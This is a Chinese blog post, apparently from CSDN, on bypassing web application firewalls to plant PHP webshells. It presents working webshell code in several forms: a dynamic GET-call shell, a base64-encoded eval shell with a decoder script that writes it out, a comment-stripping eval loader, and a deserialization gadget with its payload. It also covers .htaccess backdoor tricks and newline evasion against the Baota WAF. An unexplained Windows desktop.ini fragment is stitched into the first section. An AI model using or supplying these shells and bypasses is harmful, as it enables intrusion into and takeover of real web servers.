waf绕过方法闲人

本文介绍了多种绕过Web应用防火墙(WAF)的策略,包括动态调用PHP代码、利用.htaccess文件、文件篡改、低危木马利用以及逻辑漏洞利用。通过换行、编码、文件操作等技巧,黑客可以避开WAF的检测,实现恶意代码的执行。同时,文章提到了宝塔WAF的换行绕过方法。
摘要由CSDN通过智能技术生成

一:动态调用
waf会对文件内容进行检索,如果发现有什么危险的函数,或者有什么危害的逻辑,都会进行拦击,所以我们不能写入一些危险的函数,否则就会被ban掉。在我们真正恶意代码前加入大量杂糅字符进行绕过;然后对后缀进行换行绕过;

��
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21770
IconResource=%SystemRoot%\system32\imageres.dll,-112
IconFile=%SystemRoot%\system32\shell32.dll
IconIndex=-235

写入<?php $_GET['0']($_GET['1']);?>我们在上传的文件中并没有出现什么危险的函数,而是通过后期的get传入进行动态调用从而执行命令;这样就会绕过上传时waf的检测;但是绕不过disable_function;

二:利用.htaccess文件
对于利用.htaccess文件的攻击方法,其实有很多方法;包括自我包含造成后门,或者auto_prepend_file文件,或者自定义报错目录然后利用包含报错写入木马最后自定义包含,AddType等等。我们只需要将木马文件进行相应的编码即可;这种方法可以绕过waf的检测,但是也是绕不过 disable_function;

三:利用文件修改文件造成木马
当我们无法上传带有危险函数的木马时;可以使用文件篡改文件的方法;

先传入PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=(<?php eval($_POST['a']);?>的base64)命名为1.php;这里我们上传时waf自然不会检测到,因为我们确实没有危险函数;然后再次传入第二个没有高度危险函数的2.php代码:

<?php 

$path ="/xx/xxx/xx/1.php";//读取文件1.php

$str= file_get_contents($path);

$strs = base64_decode($str);//进行base64解码

$s1mple = fopen("./s1mple.php","w");

fwrite($s1mple,$strs);
fclose($s1mple);
?>

将我们的文件,进行了base64解密,然后写入的一个新的php文件中。先访问2.php,然后再访问s1mple.php就可以拿到shell。

fopen() 函数:打开文件或者 URL,如果打开失败,本函数返回 FALSE。

fopen(filename,mode,include_path,context)

filename:必需。规定要打开的文件或 URL。
mode:必需。规定要求到该文件/流的访问类型。可能的值见下表。
include_path:可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。
context:可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。

“r” :只读方式打开,将文件指针指向文件头。
“r+” :读写方式打开,将文件指针指向文件头。
“w” :写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
“w+” :读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
“a” :写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
“a+” :读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。

四:利用低危木马;
如果不是拿权限的话,也是可以利用一些低危的操作,比如任意文件读取等等;

<?php
$s1mple = file_get_contents(__FILE__);//获取代码的所有内容;
eval(str_replace("<?php","",str_replace("//","",$s1mple)));//释放出木马
//eval($_GET['a']);
?>

基于注释的绕过。得到eval($_GET[‘a’]);可以达到任意文件读取。

五:利用逻辑问题
这个看不懂:

<?php
error_reporting(0);
class s1mple{
  public $A;
  function __construct(){
    $this->A=new hacker();
  }
  function __destruct(){
    $this->A->action();
  }
}
class hacker{
  function action(){
    echo "hello_hacker";
  }
}
class evil{
  public $data;
  function action(){
    eval($this->data);
  }
}
unserialize($_GET['a']);

解析完这样:

O:6:"s1mple":1:{s:1:"A";O:4:"evil":1:{s:4:"data";s:10:"phpinfo();";}}

六:利用过宝塔waf思路另辟蹊径绕过waf
宝塔的waf对于文件明后缀的检测,是可以通过换行进行绕过的;对我们的filename做手脚;对filename做换行,也可以绕过;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值